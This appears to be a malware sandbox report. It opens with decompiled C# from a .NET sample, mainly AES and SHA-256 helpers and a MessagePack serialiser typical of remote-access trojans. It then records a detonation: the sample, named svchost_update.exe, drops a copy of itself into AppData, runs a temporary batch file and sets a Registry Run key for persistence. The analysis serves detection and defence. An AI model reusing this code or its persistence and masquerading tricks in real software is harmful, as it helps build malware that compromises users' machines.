byte[] array4 = new byte[cryptoStream.Read(array3, 0, array3.Length)];
Buffer.BlockCopy(array3, 0, array4, 0, array4.Length);
return array4;
}
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
private bool AreEqual(byte[] a1, byte[] a2)
{
bool result = true;
for (int i = 0; i < a1.Length; i++)
{
if (a1[i] != a2[i])
{
result = false;
}
}
return result;
}
}
public static class Sha256
{
public static string ComputeHash(string input)
{
byte[] array = Encoding.UTF8.GetBytes(input);
using (SHA256Managed sHA256Managed = new SHA256Managed())
{
array = sHA256Managed.ComputeHash(array);
}
StringBuilder stringBuilder = new StringBuilder();
byte[] array2 = array;
foreach (byte b in array2)
{
stringBuilder.Append(b.ToString("X2"));
}
return stringBuilder.ToString().ToUpper();
}
public static byte[] ComputeHash(byte[] input)
{
using SHA256Managed sHA256Managed = new SHA256Managed();
return sHA256Managed.ComputeHash(input);
}
}
}
namespace MessagePackLib.MessagePack
{
public class BytesTools
{
private static UTF8Encoding utf8Encode = new UTF8Encoding();
public static byte[] GetUtf8Bytes(string s)
{
return utf8Encode.GetBytes(s);
}
public static string GetString(byte[] utf8Bytes)
{
return utf8Encode.GetString(utf8Bytes);
}
public static string BytesAsString(byte[] bytes)
{
StringBuilder stringBuilder = new StringBuilder();
foreach (byte b in bytes)
{
stringBuilder.Append($"{b:D3} ");
}
return stringBuilder.ToString();
}
public static string BytesAsHexString(byte[] bytes)
{
StringBuilder stringBuilder = new StringBuilder();
foreach (byte b in bytes)
{
stringBuilder.Append($"{b:X2} ");
}
return stringBuilder.ToString();
}
public static byte[] SwapBytes(byte[] v)
{
byte[] array = new byte[v.Length];
int num = v.Length - 1;
for (int i = 0; i < array.Length; i++)
{
array[i] = v[num];
num--;
}
return array;
}
public static byte[] SwapInt64(long v)
{
return SwapBytes(BitConverter.GetBytes(v));
}
public static byte[] SwapInt32(int v)
{
byte[] array = new byte[4];
array[3] = (byte)v;
array[2] = (byte)(v >> 8);
array[1] = (byte)(v >> 16);
array[0] = (byte)(v >> 24);
return array;
}
public static byte[] SwapInt16(short v)
{
byte[] array = new byte[2];
array[1] = (byte)v;
array[0] = (byte)(v >> 8);
return array;
}
public static byte[] SwapDouble(double v)
{
return SwapBytes(BitConverter.GetBytes(v));
}
}
public class MsgPackEnum : IEnumerator
{
private List<MsgPack> children;
private int position = -1;
object IEnumerator.Current => children[position];
public MsgPackEnum(List<MsgPack> obj)
{
children = obj;
}
bool IEnumerator.MoveNext()
{
position++;
return position < children.Count;
}
void IEnumerator.Reset()
{
position = -1;
}
}
public class MsgPackArray
{
private List<MsgPack> children;
private MsgPack owner;
public MsgPack this[int index] => children[index];
public int Length => children.Count;
public MsgPackArray(MsgPack msgpackObj, List<MsgPack> listObj)
{
owner = msgpackObj;
children = listObj;
}
public MsgPack Add()
{
return owner.AddArrayChild();
}
public MsgPack Add(string value)
{
MsgPack msgPack = owner.AddArrayChild();
msgPack.AsString = value;
return msgPack;
}
public MsgPack Add(long value)
{
MsgPack msgPack = owner.AddArrayChild();
msgPack.SetAsInteger(value);
return msgPack;
}
public MsgPack Add(double value)
{
MsgPack msgPack = owner.AddArrayChild();
msgPack.SetAsFloat(value);
return msgPack;
}
}
public class MsgPack : IEnumerable
{
private string name;
private string lowerName;
private object innerValue;
private MsgPackType valueType;
private MsgPack parent;
private List<MsgPack> children = new List<MsgPack>();
private MsgPackArray refAsArray;
public string AsString
{
get
{
return GetAsString();
}
set
{
SetAsString(value);
}
}
public long AsInteger
{
get
{
return GetAsInteger();
}
set
{
SetAsInteger(value);
}
}
public double AsFloat
{
get
{
return GetAsFloat();
}
set
{
SetAsFloat(value);
}
}
public MsgPackArray AsArray
{
get
{
lock (this)
{
if (refAsArray == null)
{
refAsArray = new MsgPackArray(this, children);
}
}
return refAsArray;
}
}
public MsgPackType ValueType => valueType;
private void SetName(string value)
{
name = value;
lowerName = name.ToLower();
}
private void Clear()
{
for (int i = 0; i < children.Count; i++)
{
children[i].Clear();
}
children.Clear();
}
private MsgPack InnerAdd()
{
MsgPack msgPack = new MsgPack();
msgPack.parent = this;
children.Add(msgPack);
return msgPack;
}
private int IndexOf(string name)
{
int num = -1;
int result = -1;
string text = name.ToLower();
foreach (MsgPack child in children)
{
num++;
if (text.Equals(child.lowerName))
{
result = num;
break;
}
}
return result;
}
public MsgPack FindObject(string name)
{
int num = IndexOf(name);
if (num == -1)
{
return null;
}
return children[num];
}
private MsgPack InnerAddMapChild()
{
if (valueType != MsgPackType.Map)
{
Clear();
valueType = MsgPackType.Map;
}
return InnerAdd();
}
private MsgPack InnerAddArrayChild()
{
if (valueType != MsgPackType.Array)
{
Clear();
valueType = MsgPackType.Array;
}
return InnerAdd();
}
public MsgPack AddArrayChild()
{
return InnerAddArrayChild();
}
private void WriteMap(Stream ms)
{
int count = children.Count;
if (count <= 15)
{
byte value = (byte)(128 + (byte)count);
ms.WriteByte(value);
}
else if (count <= 65535)
{
byte value = 222;
ms.WriteByte(value);
byte[] array = BytesTools.SwapBytes(BitConverter.GetBytes((short)count));
ms.Write(array, 0, array.Length);
}
else
{
byte value = 223;
ms.WriteByte(value);
byte[] array = BytesTools.SwapBytes(BitConverter.GetBytes(count));
ms.Write(array, 0, array.Length);
}
for (int i = 0; i < count; i++)
{
WriteTools.WriteString(ms, children[i].name);
children[i].Encode2Stream(ms);
}
}
private void WirteArray(Stream ms)
{
int count = children.Count;
if (count <= 15)
{
byte value = (byte)(144 + (byte)count);
ms.WriteByte(value);
}
else if (count <= 65535)
{
byte value = 220;
ms.WriteByte(value);
byte[] array = BytesTools.SwapBytes(BitConverter.GetBytes((short)count));
ms.Write(array, 0, array.Length);
}
else
{
byte value = 221;
ms.WriteByte(value);
byte[] array = BytesTools.SwapBytes(BitConverter.GetBytes(count));
ms.Write(array, 0, array.Length);
}
for (int i = 0; i < count; i++)
{
children[i].Encode2Stream(ms);
}
}
public void SetAsInteger(long value)
{
innerValue = value;
valueType = MsgPackType.Integer;
}
public void SetAsUInt64(ulong value)
{
innerValue = value;
valueType = MsgPackType.UInt64;
}
public ulong GetAsUInt64()
{
return valueType switch
{
MsgPackType.Integer => Convert.ToUInt64((long)innerValue),
MsgPackType.UInt64 => (ulong)innerValue,
MsgPackType.String => ulong.Parse(innerValue.ToString().Trim()),
MsgPackType.Float => Convert.ToUInt64((double)innerValue),
MsgPackType.Single => Convert.ToUInt64((float)innerValue),
MsgPackType.DateTime => Convert.ToUInt64((DateTime)innerValue),
_ => 0uL,
};
}
public long GetAsInteger()
{
return valueType switch
{
MsgPackType.Integer => (long)innerValue,
MsgPackType.UInt64 => Convert.ToInt64((long)innerValue),
MsgPackType.String => long.Parse(innerValue.ToString().Trim()),
MsgPackType.Float => Convert.ToInt64((double)innerValue),
MsgPackType.Single => Convert.ToInt64((float)innerValue),
MsgPackType.DateTime => Convert.ToInt64((DateTime)innerValue),
_ => 0L,
};
}
public double GetAsFloat()
{
return valueType switch
{
MsgPackType.Integer => Convert.ToDouble((long)innerValue),
MsgPackType.String => double.Parse((string)innerValue),
MsgPackType.Float => (double)innerValue,
MsgPackType.Single => (float)innerValue,
MsgPackType.DateTime => Convert.ToInt64((DateTime)innerValue),
_ => 0.0,
};
}
public void SetAsBytes(byte[] value)
{
innerValue = value;
valueType = MsgPackType.Binary;
}
public byte[] GetAsBytes()
{
return valueType switch
{
MsgPackType.Integer => BitConverter.GetBytes((long)innerValue),
MsgPackType.String => BytesTools.GetUtf8Bytes(innerValue.ToString()),
MsgPackType.Float => BitConverter.GetBytes((double)innerValue),
MsgPackType.Single => BitConverter.GetBytes((float)innerValue),
MsgPackType.DateTime => BitConverter.GetBytes(((DateTime)innerValue).ToBinary()),
MsgPackType.Binary => (byte[])innerValue,
_ => new byte[0],
};
}
public void Add(string key, string value)
{
MsgPack msgPack = InnerAddArrayChild();
msgPack.name = key;
msgPack.SetAsString(value);
}
public void Add(string key, int value)
{
MsgPack msgPack = InnerAddArrayChild();
msgPack.name = key;
msgPack.SetAsInteger(value);
}
public bool LoadFileAsBytes(string fileName)
{
if (File.Exists(fileName))
{
byte[] array = null;
FileStream fileStream = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read);
array = new byte[fileStream.Length];
fileStream.Read(array, 0, (int)fileStream.Length);
fileStream.Close();
fileStream.Dispose();
SetAsBytes(array);
return true;
}
return false;
}
public bool SaveBytesToFile(string fileName)
{
if (innerValue != null)
{
FileStream fileStream = new FileStream(fileName, FileMode.Append);
fileStream.Write((byte[])innerValue, 0, ((byte[])innerValue).Length);
fileStream.Close();
fileStream.Dispose();
return true;
}
return false;
}
public MsgPack ForcePathObject(string path)
{
MsgPack msgPack = this;
string[] array = path.Trim().Split('.', '/', '\\');
string text = null;
if (array.Length == 0)
{
return null;
}
if (array.Length > 1)
{
for (int i = 0; i < array.Length - 1; i++)
{
text = array[i];
MsgPack msgPack2 = msgPack.FindObject(text);
if (msgPack2 == null)
{
msgPack = msgPack.InnerAddMapChild();
msgPack.SetName(text);
}
else
{
msgPack = msgPack2;
}
}
}
text = array[^1];
int num = msgPack.IndexOf(text);
if (num > -1)
{
return msgPack.children[num];
}
msgPack = msgPack.InnerAddMapChild();
msgPack.SetName(text);
return msgPack;
}
public void SetAsNull()
{
Clear();
innerValue = null;
valueType = MsgPackType.Null;
}
public void SetAsString(string value)
{
innerValue = value;
valueType = MsgPackType.String;
}
public string GetAsString()
{
if (innerValue == null)
{
return "";
}
return innerValue.ToString();
}
public void SetAsBoolean(bool bVal)
{
valueType = MsgPackType.Boolean;
innerValue = bVal;
}
public void SetAsSingle(float fVal)
{
valueType = MsgPackType.Single;
innerValue = fVal;
}
public void SetAsFloat(double fVal)
{
valueType = MsgPackType.Float;
innerValue = fVal;
}
public void DecodeFromBytes(byte[] bytes)
{
using MemoryStream memoryStream = new MemoryStream();
bytes = Zip.Decompress(bytes);
memoryStream.Write(bytes, 0, bytes.Length);
memoryStream.Position = 0L;
DecodeFromStream(memoryStream);
}
public void DecodeFromFile(string fileName)
{
FileStream fileStream = new FileStream(fileName, FileMode.Open);
DecodeFromStream(fileStream);
fileStream.Dispose();
}
public void DecodeFromStream(Stream ms)
{
byte b = (byte)ms.ReadByte();
byte[] array = null;
int num = 0;
int num2 = 0;
if (b <= 127)
{
SetAsInteger(b);
return;
}
if (b >= 128 && b <= 143)
{
Clear();
valueType = MsgPackType.Map;
num = b - 128;
for (num2 = 0; num2 < num; num2++)
{
MsgPack msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
return;
}
if (b >= 144 && b <= 159)
{
Clear();
valueType = MsgPackType.Array;
num = b - 144;
for (num2 = 0; num2 < num; num2++)
{
InnerAdd().DecodeFromStream(ms);
}
return;
}
if (b >= 160 && b <= 191)
{
num = b - 160;
SetAsString(ReadTools.ReadString(ms, num));
return;
}
if (b >= 224 && b <= byte.MaxValue)
{
SetAsInteger((sbyte)b);
return;
}
switch (b)
{
case 192:
SetAsNull();
return;
case 193:
throw new Exception("(never used) type $c1");
case 194:
SetAsBoolean(bVal: false);
return;
case 195:
SetAsBoolean(bVal: true);
return;
case 196:
num = ms.ReadByte();
array = new byte[num];
ms.Read(array, 0, num);
SetAsBytes(array);
return;
case 197:
array = new byte[2];
ms.Read(array, 0, 2);
array = BytesTools.SwapBytes(array);
num = BitConverter.ToUInt16(array, 0);
array = new byte[num];
ms.Read(array, 0, num);
SetAsBytes(array);
return;
case 198:
array = new byte[4];
ms.Read(array, 0, 4);
array = BytesTools.SwapBytes(array);
num = BitConverter.ToInt32(array, 0);
array = new byte[num];
ms.Read(array, 0, num);
SetAsBytes(array);
return;
case 199:
case 200:
case 201:
throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9");
case 202:
array = new byte[4];
ms.Read(array, 0, 4);
array = BytesTools.SwapBytes(array);
SetAsSingle(BitConverter.ToSingle(array, 0));
return;
case 203:
array = new byte[8];
ms.Read(array, 0, 8);
array = BytesTools.SwapBytes(array);
SetAsFloat(BitConverter.ToDouble(array, 0));
return;
case 204:
b = (byte)ms.ReadByte();
SetAsInteger(b);
return;
case 205:
array = new byte[2];
ms.Read(array, 0, 2);
array = BytesTools.SwapBytes(array);
SetAsInteger(BitConverter.ToUInt16(array, 0));
return;
case 206:
array = new byte[4];
ms.Read(array, 0, 4);
array = BytesTools.SwapBytes(array);
SetAsInteger(BitConverter.ToUInt32(array, 0));
return;
case 207:
array = new byte[8];
ms.Read(array, 0, 8);
array = BytesTools.SwapBytes(array);
SetAsUInt64(BitConverter.ToUInt64(array, 0));
return;
case 220:
array = new byte[2];
ms.Read(array, 0, 2);
array = BytesTools.SwapBytes(array);
num = BitConverter.ToInt16(array, 0);
Clear();
valueType = MsgPackType.Array;
for (num2 = 0; num2 < num; num2++)
{
InnerAdd().DecodeFromStream(ms);
}
return;
case 221:
array = new byte[4];
ms.Read(array, 0, 4);
array = BytesTools.SwapBytes(array);
num = BitConverter.ToInt16(array, 0);
Clear();
valueType = MsgPackType.Array;
for (num2 = 0; num2 < num; num2++)
{
InnerAdd().DecodeFromStream(ms);
}
return;
case 217:
SetAsString(ReadTools.ReadString(b, ms));
return;
case 222:
array = new byte[2];
ms.Read(array, 0, 2);
array = BytesTools.SwapBytes(array);
num = BitConverter.ToInt16(array, 0);
Clear();
valueType = MsgPackType.Map;
for (num2 = 0; num2 < num; num2++)
{
MsgPack msgPack2 = InnerAdd();
msgPack2.SetName(ReadTools.ReadString(ms));
msgPack2.DecodeFromStream(ms);
}
return;
}
switch (b)
{
case 222:
array = new byte[2];
ms.Read(array, 0, 2);
array = BytesTools.SwapBytes(array);
num = BitConverter.ToInt16(array, 0);
Clear();
valueType = MsgPackType.Map;
for (num2 = 0; num2 < num; num2++)
{
MsgPack msgPack4 = InnerAdd();
msgPack4.SetName(ReadTools.ReadString(ms));
msgPack4.DecodeFromStream(ms);
}
break;
case 223:
array = new byte[4];
ms.Read(array, 0, 4);
array = BytesTools.SwapBytes(array);
num = BitConverter.ToInt32(array, 0);
Clear();
valueType = MsgPackType.Map;
for (num2 = 0; num2 < num; num2++)
{
MsgPack msgPack3 = InnerAdd();
msgPack3.SetName(ReadTools.ReadString(ms));
msgPack3.DecodeFromStream(ms);
}
break;
case 218:
SetAsString(ReadTools.ReadString(b, ms));
break;
case 219:
SetAsString(ReadTools.ReadString(b, ms));
break;
case 208:
SetAsInteger((sbyte)ms.ReadByte());
break;
case 209:
array = new byte[2];
ms.Read(array, 0, 2);
array = BytesTools.SwapBytes(array);
SetAsInteger(BitConverter.ToInt16(array, 0));
break;
case 210:
array = new byte[4];
ms.Read(array, 0, 4);
array = BytesTools.SwapBytes(array);
SetAsInteger(BitConverter.ToInt32(array, 0));
break;
case 211:
array = new byte[8];
ms.Read(array, 0, 8);
array = BytesTools.SwapBytes(array);
SetAsInteger(BitConverter.ToInt64(array, 0));
break;
}
}
public byte[] Encode2Bytes()
{
using MemoryStream memoryStream = new MemoryStream();
Encode2Stream(memoryStream);
byte[] array = new byte[memoryStream.Length];
memoryStream.Position = 0L;
memoryStream.Read(array, 0, (int)memoryStream.Length);
return Zip.Compress(array);
}
public void Encode2Stream(Stream ms)
{
switch (valueType)
{
case MsgPackType.Unknown:
case MsgPackType.Null:
WriteTools.WriteNull(ms);
break;
case MsgPackType.String:
WriteTools.WriteString(ms, (string)innerValue);
break;
case MsgPackType.Integer:
WriteTools.WriteInteger(ms, (long)innerValue);
break;
case MsgPackType.UInt64:
WriteTools.WriteUInt64(ms, (ulong)innerValue);
break;
case MsgPackType.Boolean:
WriteTools.WriteBoolean(ms, (bool)innerValue);
break;
case MsgPackType.Float:
WriteTools.WriteFloat(ms, (double)innerValue);
break;
case MsgPackType.Single:
WriteTools.WriteFloat(ms, (float)innerValue);
break;
case MsgPackType.DateTime:
WriteTools.WriteInteger(ms, GetAsInteger());
break;
case MsgPackType.Binary:
WriteTools.WriteBinary(ms, (byte[])innerValue);
break;
case MsgPackType.Map:
WriteMap(ms);
break;
case MsgPackType.Array:
WirteArray(ms);
break;
default:
WriteTools.WriteNull(ms);
break;
}
}
IEnumerator IEnumerable.GetEnumerator()
{
return new MsgPackEnum(children);
}
}
public enum MsgPackType
{
Unknown,
Null,
Map,
Array,
String,
Integer,
UInt64,
Boolean,
Float,
Single,
DateTime,
Binary
}
internal class ReadTools
{
public static string ReadString(Stream ms, int len)
{
byte[] array = new byte[len];
ms.Read(array, 0, len);
return BytesTools.GetString(array);
}
public static string ReadString(Stream ms)
{
return ReadString((byte)ms.ReadByte(), ms);
}
public static string ReadString(byte strFlag, Stream ms)
{
byte[] array = null;
int num = 0;
if (strFlag >= 160 && strFlag <= 191)
{
num = strFlag - 160;
}
else
{
switch (strFlag)
{
case 217:
num = ms.ReadByte();
break;
case 218:
array = new byte[2];
ms.Read(array, 0, 2);
array = BytesTools.SwapBytes(array);
num = BitConverter.ToUInt16(array, 0);
break;
case 219:
array = new byte[4];
ms.Read(array, 0, 4);
array = BytesTools.SwapBytes(array);
num = BitConverter.ToInt32(array, 0);
break;
}
}
array = new byte[num];
ms.Read(array, 0, num);
return BytesTools.GetString(array);
}
}
internal class WriteTools
{
public static void WriteNull(Stream ms)
{
ms.WriteByte(192);
}
public static void WriteString(Stream ms, string strVal)
{
byte[] utf8Bytes = BytesTools.GetUtf8Bytes(strVal);
byte[] array = null;
int num = utf8Bytes.Length;
byte b = 0;
if (num <= 31)
{
b = (byte)(160 + (byte)num);
ms.WriteByte(b);
}
else if (num <= 255)
{
b = 217;
ms.WriteByte(b);
b = (byte)num;
ms.WriteByte(b);
}
else if (num <= 65535)
{
b = 218;
ms.WriteByte(b);
array = BytesTools.SwapBytes(BitConverter.GetBytes((short)num));
ms.Write(array, 0, array.Length);
}
else
{
b = 219;
ms.WriteByte(b);
array = BytesTools.SwapBytes(BitConverter.GetBytes(num));
ms.Write(array, 0, array.Length);
}
ms.Write(utf8Bytes, 0, utf8Bytes.Length);
}
public static void WriteBinary(Stream ms, byte[] rawBytes)
{
byte[] array = null;
int num = rawBytes.Length;
byte b = 0;
if (num <= 255)
{
b = 196;
ms.WriteByte(b);
b = (byte)num;
ms.WriteByte(b);
}
else if (num <= 65535)
{
b = 197;
ms.WriteByte(b);
array = BytesTools.SwapBytes(BitConverter.GetBytes((short)num));
ms.Write(array, 0, array.Length);
}
else
{
b = 198;
ms.WriteByte(b);
array = BytesTools.SwapBytes(BitConverter.GetBytes(num));
ms.Write(array, 0, array.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteFloat(Stream ms, double fVal)
{
ms.WriteByte(203);
ms.Write(BytesTools.SwapDouble(fVal), 0, 8);
}
public static void WriteSingle(Stream ms, float fVal)
{
ms.WriteByte(202);
ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4);
}
public static void WriteBoolean(Stream ms, bool bVal)
{
if (bVal)
{
ms.WriteByte(195);
}
else
{
ms.WriteByte(194);
}
}
public static void WriteUInt64(Stream ms, ulong iVal)
{
ms.WriteByte(207);
byte[] bytes = BitConverter.GetBytes(iVal);
ms.Write(BytesTools.SwapBytes(bytes), 0, 8);
}
public static void WriteInteger(Stream ms, long iVal)
{
if (iVal >= 0)
{
if (iVal <= 127)
{
ms.WriteByte((byte)iVal);
}
else if (iVal <= 255)
{
ms.WriteByte(204);
ms.WriteByte((byte)iVal);
}
else if (iVal <= 65535)
{
ms.WriteByte(205);
ms.Write(BytesTools.SwapInt16((short)iVal), 0, 2);
}
else if (iVal <= uint.MaxValue)
{
ms.WriteByte(206);
ms.Write(BytesTools.SwapInt32((int)iVal), 0, 4);
}
else
{
ms.WriteByte(211);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
}
else if (iVal <= int.MinValue)
{
ms.WriteByte(211);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
else if (iVal <= -32768)
{
ms.WriteByte(210);
ms.Write(BytesTools.SwapInt32((int)iVal), 0, 4);
}
else if (iVal <= -128)
{
ms.WriteByte(209);
ms.Write(BytesTools.SwapInt16((short)iVal), 0, 2);
}
else if (iVal <= -32)
{
ms.WriteByte(208);
ms.WriteByte((byte)iVal);
}
else
{
ms.WriteByte((byte)iVal);
}
}
}
public static class Zip
{
public static byte[] Decompress(byte[] input)
{
using MemoryStream memoryStream = new MemoryStream(input);
byte[] array = new byte[4];
memoryStream.Read(array, 0, 4);
int num = BitConverter.ToInt32(array, 0);
using GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Decompress);
byte[] array2 = new byte[num];
gZipStream.Read(array2, 0, num);
return array2;
}
public static byte[] Compress(byte[] input)
{
using MemoryStream memoryStream = new MemoryStream();
byte[] bytes = BitConverter.GetBytes(input.Length);
memoryStream.Write(bytes, 0, 4);
using (GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Compress))
{
gZipStream.Write(input, 0, input.Length);
gZipStream.Flush();
}
return memoryStream.ToArray();
}
}
}
[CompilerGenerated]
internal sealed class MessagePackLib.<PrivateImplementationDetails>
{
[StructLayout(LayoutKind.Explicit, Pack = 1, Size = 6)]
internal struct __StaticArrayInitTypeSize=6
{
}
internal static readonly __StaticArrayInitTypeSize=6 87639126EA77B358F26532367DBA67C5310EF50A8D9888ED070CD40E1F605A8F/* Not supported: data(2E 00 2F 00 5C 00) */;
}
You are not using the latest version of the tool, please update.
Latest version is '11.1.0.9782' (yours is '8.2.0.7535-95108c96')
Screen recording
13 frames · screen recording · 144sBehavior summary
ran 143s5 process(es) observed; malicious behavior: dropped_executable, registry_persistence; 2 dropped executable(s)
Evasion / anti-analysis checks
13 checksStatically visible checks (RDTSC/CPUID/red-pill instructions, anti-debug APIs) plus runtime evasion signals. Instruction-level interception at runtime requires hypervisor introspection (VMI).
Kernel audit saw no cross-process reach. Kernel object-access auditing and the thread trace were active on this run and attributed no handle to another process, no remote or unbacked thread start and no spoofed parent to the sample tree. An observation, not a gap.
No WMI attributed to the sample. The WMI-Activity trace was running and recorded 1045 operations on the machine during the run; none of them came from the sample's process tree.
Command lines, unwrapped
5 read5 captured texts were read and unwrapped locally. No address was recovered from any of them, and none of them was hiding its own contents behind an encoding or a format string. This is a result, not a gap.
Network activity
The network section is a paid-plan layer: the DNS the sample resolved, the connections it opened, the TLS it negotiated, and the rule engine's reading of the capture.
This run was captured, and what it captured is on a paid plan rather than absent. An internet-connected detonation is the same plan, so a paid run also shows what the sample reached rather than only what it tried.
Process tree
What ran during the detonation, and what each process did. Select a node to see the activity attributed to it.
svchost_update.exe
5 processesAttributed activity
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Not attributed to any process
2 kindsThese operations were captured but carry no pid this tree could match, so they are not shown against any node above.
Persistence mechanisms
1 found| Method | Family | ATT&CK | Evidence | Severity |
|---|---|---|---|---|
| Registry Run Key | Logon & Startup | T1547.001 | Runtime | HIGH |
Runtime evidence means the mechanism was established during detonation. A static hint means the sample only references the technique.
Detection coverage
1 / 90Every auto-start method checked on this sample, grouped by family. A method with no result is reported clean, and one the sample only names in its own strings reads "named" rather than "detected".
- Active Setup Installed Component T1547.014 clean
- Explorer Delay-Load Object T1547.001 clean
- Explorer Run Key T1547.001 clean
- Explorer SharedTaskScheduler T1547.001 clean
- Group Policy Extension DLL T1547.004 clean
- Group Policy Run Key T1547.001 clean
- Logon Script T1037.001 clean
- RDP WDS Startup Program T1547.001 clean
- Registry Run Key T1547.001 detected
- Registry RunEx Key T1547.001 clean
- Registry RunOnce Key T1547.001 clean
- Registry RunOnceEx Key T1547.001 clean
- Registry RunServices Key T1547.001 clean
- Startup Folder Item T1547.001 clean
- Startup Folder Redirection T1547.001 clean
- Terminal Services Initial Program T1547.001 clean
- Winlogon GINA DLL T1547.004 clean
- Winlogon MPNotify Value T1547.004 clean
- Winlogon Notify Package T1547.004 clean
- Winlogon Shell Value T1547.004 clean
- Winlogon Taskman Value T1547.004 clean
- Winlogon Userinit Value T1547.004 clean
- BITS Job T1197 clean
- Print Monitor DLL T1547.010 clean
- Print Processor DLL T1547.012 clean
- Scheduled Task T1053.005 clean
- Scheduled Task Registry Implant T1053.005 clean
- Service Control Manager Security Descriptor T1574.011 clean
- Service DLL Hijack T1543.003 clean
- Time Provider DLL T1547.003 clean
- Windows Service Creation T1543.003 clean
- .NET Managed Debugger T1546.012 clean
- Accessibility Tool Hijack T1546.008 clean
- AeDebug Postmortem Debugger T1546.012 clean
- App Paths Hijack T1546.012 clean
- Application Shim Database T1546.011 clean
- Boot Verification Program T1547.002 clean
- Command Processor AutoRun T1546.011 clean
- Explorer Load Value T1547.001 clean
- Explorer MyComputer Tool Hijack T1546.001 clean
- Registry Image File Execution Options T1546.012 clean
- Screensaver Hijack T1546.002 clean
- Setup ErrorHandler Script T1546 clean
- Shell Open Command Hijack T1546.001 clean
- SilentProcessExit Monitor T1546.012 clean
- Telemetry Controller Command T1546.015 clean
- WER ReflectDebugger T1546.012 clean
- Windows Error Reporting Debugger T1546.012 clean
- .NET CLR Profiler DLL T1574.012 clean
- .NET Startup Hook DLL T1574 clean
- AppCert DLLs T1546.009 clean
- AppInit DLLs T1546.010 clean
- AutodialDLL Winsock Injection T1546.006 clean
- DLL Search-Order Hijack T1574.001 T1574.002 clean
- DNS Server Plugin DLL T1574.001 clean
- HTML Help Helper DLL T1546 clean
- KnownDLLs Manipulation T1574.001 clean
- Natural Language Platform DLL Override T1546 clean
- Netsh Helper DLL T1546.007 clean
- Winsock Layered Service Provider T1546.006 clean
- Browser Extension T1176 clean
- Browser Helper Object T1176 clean
- COM Server Hijack T1546.015 clean
- HTML Help COM Object Hijack T1546.015 clean
- Shell Context Menu Handler T1546.001 clean
- Shell Extension Handler T1546.001 clean
- Account RID Hijack T1098 clean
- AMSI Provider T1562.001 clean
- Credential Provider T1547.014 clean
- DSRM Admin Logon Backdoor T1556 clean
- Hidden Local Account T1136.001 clean
- LSA Authentication Package T1547.002 clean
- LSA Extension DLL T1547.005 clean
- LSA Notification Package T1547.005 clean
- LSA Security Package T1547.005 clean
- Network Provider DLL T1556.008 clean
- Security Support Provider T1547.005 clean
- Netsh Port Proxy T1090.001 clean
- Office Add-in T1137.006 clean
- Office Executable Sideload T1574.002 clean
- Office Startup Template T1137.001 clean
- Office Test Key T1137.002 clean
- Power Automate Flow T1546 clean
- PowerShell Profile T1546.013 clean
- Windows Terminal Startup Action T1546 clean
- WMI Event Subscription T1546.003 clean
- BootExecute Native Image T1547.002 clean
- PlatformExecute Native Image T1547.002 clean
- SetupExecute Native Image T1547.002 clean
- UEFI / Bootkit Artifact T1542.003 T1542.001 clean
File activity summary
Dropped files
2 payloads| Path | SHA-256 | Size | Process | Time | Download |
|---|---|---|---|---|---|
| C:\Users\user\AppData\Roaming\svchost_update.exe | fd245f758530291fafaafe8b… | 45.5 KB | svchost_update.exe pid 5104 | - | - |
| C:\Users\user\AppData\Local\Temp\tmp17C5.tmp.bat | - | - | svchost_update.exe pid 5104 | - | - |
Dropped payload analysis
not examinedThe run recorded 2 payload writes and the guest returned no payload capture, so no bytes were kept and none of these files was examined. Their paths are listed above. Read this as a gap in the evidence: nothing here says those payloads were harmless.
File & registry ops
5 file · 13 registry · sample scope
File operation times: 5 timed
| Operation | Target | Process | |
|---|---|---|---|
| createpayload |
C:\Users\user\AppData\Roaming\svchost_update.exe
|
svchost_update.exe pid 5104 | 2026-10-08 11:49:12.521 |
| create |
C:\Users\user\AppData\Local\Temp\tmp17C5.tmp.bat
|
svchost_update.exe pid 5104 | 2026-10-08 11:49:12.521 |
| modify |
C:\Users\user\AppData\Local\Temp\tmp17C5.tmp.bat
|
- | 2026-10-08 11:49:12.521 |
| modifypayload |
C:\Users\user\AppData\Roaming\svchost_update.exe
|
- | 2026-10-08 11:49:12.521 |
| delete |
C:\Users\user\AppData\Local\Temp\tmp17C5.tmp.bat
|
- | 2026-10-08 11:49:15.928 |
| create |
SOFTWARE\Policies\Microsoft\Windows\TenantRestrictions\Payload
|
svchost_update.exe pid 3788 | not timed |
| create |
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
|
svchost_update.exe pid 3788 | not timed |
| create |
\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Tracing
|
svchost_update.exe pid 3788 | not timed |
| create |
SYSTEM\ControlSet001\Services\Tcpip\Parameters
|
svchost_update.exe pid 3788 | not timed |
| create |
\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Tracing\svchost_update_RASAPI32
|
svchost_update.exe pid 3788 | not timed |
| create |
\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Tracing\svchost_update_RASMANCS
|
svchost_update.exe pid 3788 | not timed |
| create |
\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows\TenantRestrictions\Payload
|
svchost_update.exe pid 3788 | not timed |
| create |
TenantRestrictions\Payload
|
svchost_update.exe pid 3788 | not timed |
| create |
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters
|
svchost_update.exe pid 3788 | not timed |
| setvaluepersist |
Software\Microsoft\Windows\CurrentVersion\Run
svchost_update = "C:\Users\user\AppData\Roaming\svchost_update.exe"
|
- | not timed |
| setvalue |
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
SavedLegacySettings = <56 bytes>
|
- | not timed |
| setvalue |
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
DefaultConnectionSettings = <56 bytes>
|
- | not timed |
| setvalue |
